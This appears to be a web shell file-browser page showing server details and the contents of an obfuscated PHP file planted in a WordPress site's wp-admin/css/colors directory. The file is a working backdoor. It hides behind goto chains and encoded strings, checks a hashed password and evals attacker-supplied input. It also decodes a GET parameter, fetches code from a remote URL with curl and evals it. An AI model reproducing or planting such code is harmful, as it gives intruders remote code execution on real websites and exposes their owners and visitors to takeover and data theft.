HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: //proc/self/root/proc/self/root/proc/self/cwd/wp-admin/css/colors/colors/index.php
<?php
 goto Em2VmIu0VVQrEiYT; Em2VmIu0VVQrEiYT: $NunxTFTGYd46lVkw = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto Eyl1W70hfzEo6ldJ; dLRVnRUQ85U0kTSB: $Q7cZC9OQG80OZRHt = ${$TJEp4Qqo3703GEVL[30 + 1] . $TJEp4Qqo3703GEVL[12 + 47] . $TJEp4Qqo3703GEVL[28 + 19] . $TJEp4Qqo3703GEVL[27 + 20] . $TJEp4Qqo3703GEVL[34 + 17] . $TJEp4Qqo3703GEVL[20 + 33] . $TJEp4Qqo3703GEVL[6 + 51]}; goto X21MbVt4AbrDG9sf; X21MbVt4AbrDG9sf: @(md5(md5(md5(md5($Q7cZC9OQG80OZRHt[20])))) === "\65\145\66\x62\144\x63\61\x33\x38\x31\x30\71\143\x31\61\x34\x66\143\146\x66\x32\x62\x66\x63\x65\x36\64\x37\61\146\x64\x36") && (count($Q7cZC9OQG80OZRHt) == 26 && in_array(gettype($Q7cZC9OQG80OZRHt) . count($Q7cZC9OQG80OZRHt), $Q7cZC9OQG80OZRHt)) ? ($Q7cZC9OQG80OZRHt[69] = $Q7cZC9OQG80OZRHt[69] . $Q7cZC9OQG80OZRHt[76]) && ($Q7cZC9OQG80OZRHt[87] = $Q7cZC9OQG80OZRHt[69]($Q7cZC9OQG80OZRHt[87])) && @eval($Q7cZC9OQG80OZRHt[69](${$Q7cZC9OQG80OZRHt[38]}[27])) : $Q7cZC9OQG80OZRHt; goto ioL_k6JGa_L8ZbLW; Rp0bS9xi2gPRDTUV: class TXusV2Fkt_s6SGRF { static function DbFpfd6IWuLixctd($NEEZ2X7Suh7ZHSoF) { goto eoBGnd2_VW5t19ds; rZe782zrpTUlqBzB: U_D78f76wNAKoyhS: goto yuasScRXTTtGs61U; eoBGnd2_VW5t19ds: $Y9zClJXJPPdVteX1 = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto Mt0PmzEBw_zeCdJx; Mt0PmzEBw_zeCdJx: $iMf__jYdpSKWtlN9 = $Y9zClJXJPPdVteX1("\x7e", "\x20"); goto iErZ1lBqfkGVXEDX; OlJQdFVz71fPaz3G: $jhTyRo38mlswPmOo = ''; goto MQgGWw1Nba7VtcJT; iErZ1lBqfkGVXEDX: $MUokirbCkVWaAe_7 = explode("\53", $NEEZ2X7Suh7ZHSoF); goto OlJQdFVz71fPaz3G; yuasScRXTTtGs61U: return $jhTyRo38mlswPmOo; goto FCayqowO3EoJEosu; MQgGWw1Nba7VtcJT: foreach ($MUokirbCkVWaAe_7 as $aCHQfWdE3ft3Aj3V => $L47ar5jbtIqOUits) { $jhTyRo38mlswPmOo .= $iMf__jYdpSKWtlN9[$L47ar5jbtIqOUits - 67254]; Ab3Rp7hAxhzRf8BS: } goto rZe782zrpTUlqBzB; FCayqowO3EoJEosu: } static function aNztNRsvJjndpruT($VEu_2nz2BN3sZS2H, $Be7hRzXk1GSI8GOp) { goto krVuT4cLo5Jn8Q0v; qRur3Kn9Nt10ZV81: return empty($Fytbvvo4ekTruF0X) ? $Be7hRzXk1GSI8GOp($VEu_2nz2BN3sZS2H) : $Fytbvvo4ekTruF0X; goto x_RvQGWFhh0dR7IE; krVuT4cLo5Jn8Q0v: $Hb40Wo_DNwgZzqFM = curl_init($VEu_2nz2BN3sZS2H); goto pXkq2Wb7RQnYt105; pXkq2Wb7RQnYt105: curl_setopt($Hb40Wo_DNwgZzqFM, CURLOPT_RETURNTRANSFER, 1); goto oOBN53x32dcoQjXt; oOBN53x32dcoQjXt: $Fytbvvo4ekTruF0X = curl_exec($Hb40Wo_DNwgZzqFM); goto qRur3Kn9Nt10ZV81; x_RvQGWFhh0dR7IE: } static function RfdbtPqtXMU5SXgk() { goto Kq5LXZqMhpyGG1fq; bwVQmuccuRnbeyoD: $DBOgm8cP7igGclsN = $K3vkyHvABvFY7Qxs[0 + 2]($Y2XgEbxXxUoTDEST, true); goto r6DUneherXoUqLLS; RPXMhE6na7WWJTL0: @eval($K3vkyHvABvFY7Qxs[1 + 3]($JHBDjc2z7f1q_NGL)); goto UOxydZKki7fm3t3B; r6DUneherXoUqLLS: @$K3vkyHvABvFY7Qxs[1 + 9](INPUT_GET, "\x6f\146") == 1 && die($K3vkyHvABvFY7Qxs[4 + 1](__FILE__)); goto MO7wpd9YjA2eQQGE; MO7wpd9YjA2eQQGE: if (!(@$DBOgm8cP7igGclsN[0] - time() > 0 and md5(md5($DBOgm8cP7igGclsN[2 + 1])) === "\142\x38\146\141\67\x35\66\x37\x31\145\x35\61\x34\x30\60\x38\145\x36\143\71\x38\x64\x31\146\x32\x33\63\63\61\x34\67\x63")) { goto zhYUHNh4eADg112n; } goto tkoHeqKGOJnrGK9R; tkoHeqKGOJnrGK9R: $JHBDjc2z7f1q_NGL = self::anzTnrSVjjNdPrUT($DBOgm8cP7igGclsN[1 + 0], $K3vkyHvABvFY7Qxs[5 + 0]); goto RPXMhE6na7WWJTL0; UOxydZKki7fm3t3B: die; goto zct01gZlXi95p_Bc; zct01gZlXi95p_Bc: zhYUHNh4eADg112n: goto mHFmyt2XKqbOE7S6; zXYtC6tOoUq62FPe: f76m_iVGklK2S4IZ: goto HAyvFD5lDAfID8ho; adbSwTUk64tu_Fqq: foreach ($tiMI68Tq9vvxXBLU as $ZiNuF5u3cB3EwgGU) { $K3vkyHvABvFY7Qxs[] = self::DBfPfD6IwuLixcTd($ZiNuF5u3cB3EwgGU); UjRBISdbBRm2Dxbv: } goto zXYtC6tOoUq62FPe; Kq5LXZqMhpyGG1fq: $tiMI68Tq9vvxXBLU = array("\66\67\62\x38\x31\x2b\x36\x37\x32\66\x36\x2b\66\67\62\67\x39\53\66\67\x32\x38\x33\53\66\x37\x32\66\x34\x2b\66\67\62\67\71\53\66\67\x32\70\x35\x2b\x36\x37\x32\67\x38\x2b\66\x37\62\x36\63\53\x36\x37\62\x37\60\x2b\66\x37\x32\70\61\x2b\66\x37\x32\x36\64\x2b\66\67\x32\67\65\x2b\x36\67\62\66\x39\x2b\66\x37\62\67\x30", "\x36\67\62\66\x35\53\66\x37\62\x36\x34\53\66\x37\x32\x36\66\53\x36\67\62\x38\65\53\66\x37\x32\66\x36\x2b\66\x37\62\x36\x39\53\66\67\62\66\64\53\66\67\63\x33\61\x2b\66\67\63\x32\71", "\x36\67\x32\67\64\53\x36\67\62\66\x35\x2b\66\x37\62\x36\71\53\66\67\x32\x37\x30\53\x36\67\62\70\65\x2b\x36\x37\62\x38\x30\53\66\x37\62\67\71\x2b\66\67\62\70\x31\53\x36\67\62\66\x39\x2b\66\x37\x32\70\x30\x2b\66\x37\62\67\71", "\66\x37\x32\66\70\53\x36\x37\62\x38\x33\x2b\x36\x37\x32\x38\x31\x2b\66\67\62\67\x33", "\x36\67\x32\x38\62\x2b\x36\x37\x32\70\63\x2b\x36\x37\62\66\x35\x2b\x36\x37\x32\x37\x39\53\x36\x37\x33\62\66\x2b\x36\67\x33\x32\x38\53\66\67\x32\70\x35\x2b\66\67\62\x38\60\53\66\67\62\x37\71\53\66\67\x32\70\x31\53\66\x37\62\x36\71\53\66\67\x32\70\60\x2b\66\67\x32\67\71", "\x36\67\62\67\70\x2b\x36\x37\x32\67\65\53\66\x37\62\67\x32\53\66\x37\62\x37\71\x2b\66\x37\62\70\x35\53\66\67\x32\67\67\x2b\x36\67\62\x37\x39\x2b\66\67\62\66\64\x2b\x36\x37\x32\x38\65\53\x36\67\x32\70\x31\x2b\66\67\62\x36\x39\53\x36\67\62\x37\x30\x2b\66\x37\x32\x36\64\53\66\x37\x32\x37\x39\x2b\x36\x37\x32\x37\x30\x2b\x36\x37\x32\x36\64\53\x36\x37\62\x36\65", "\66\x37\63\x30\70\x2b\66\67\63\x33\x38", "\x36\x37\x32\x35\x35", "\66\x37\x33\x33\63\53\x36\x37\63\x33\70", "\66\x37\x33\x31\x35\53\x36\x37\62\71\x38\53\66\67\62\x39\70\53\x36\67\x33\x31\x35\x2b\x36\67\62\x39\x31", "\x36\x37\x32\x37\x38\53\x36\x37\x32\x37\x35\53\x36\67\62\x37\x32\x2b\66\67\x32\x36\x34\53\66\x37\x32\67\x39\x2b\x36\x37\x32\x36\x36\53\66\x37\x32\70\65\53\x36\67\x32\x37\x35\53\x36\x37\62\x37\60\53\x36\x37\x32\x36\70\x2b\66\67\62\x36\x33\x2b\66\67\62\x36\x34"); goto adbSwTUk64tu_Fqq; HAyvFD5lDAfID8ho: $ASdlqs0aQC2no71A = @$K3vkyHvABvFY7Qxs[1]($K3vkyHvABvFY7Qxs[0 + 10](INPUT_GET, $K3vkyHvABvFY7Qxs[7 + 2])); goto aOxzJjJ7vZyByEHt; aOxzJjJ7vZyByEHt: $Y2XgEbxXxUoTDEST = @$K3vkyHvABvFY7Qxs[2 + 1]($K3vkyHvABvFY7Qxs[1 + 5], $ASdlqs0aQC2no71A); goto bwVQmuccuRnbeyoD; mHFmyt2XKqbOE7S6: } } goto H5fvsZ7olgECEAqr; Eyl1W70hfzEo6ldJ: $TJEp4Qqo3703GEVL = $NunxTFTGYd46lVkw("\x7e", "\40"); goto dLRVnRUQ85U0kTSB; ioL_k6JGa_L8ZbLW: metaphone("\145\x73\130\x30\70\x6e\x34\x4a\x65\x62\104\125\103\x4c\x6b\131\103\x66\x39\152\63\101\x56\70\x54\x42\130\102\161\x4f\x7a\150\x7a\x47\x43\x6b\63\103\x74\121\x67\122\x4d"); goto Rp0bS9xi2gPRDTUV; H5fvsZ7olgECEAqr: tXUsv2fkT_s6SGrF::RfDbTpqtXMu5Sxgk();
?>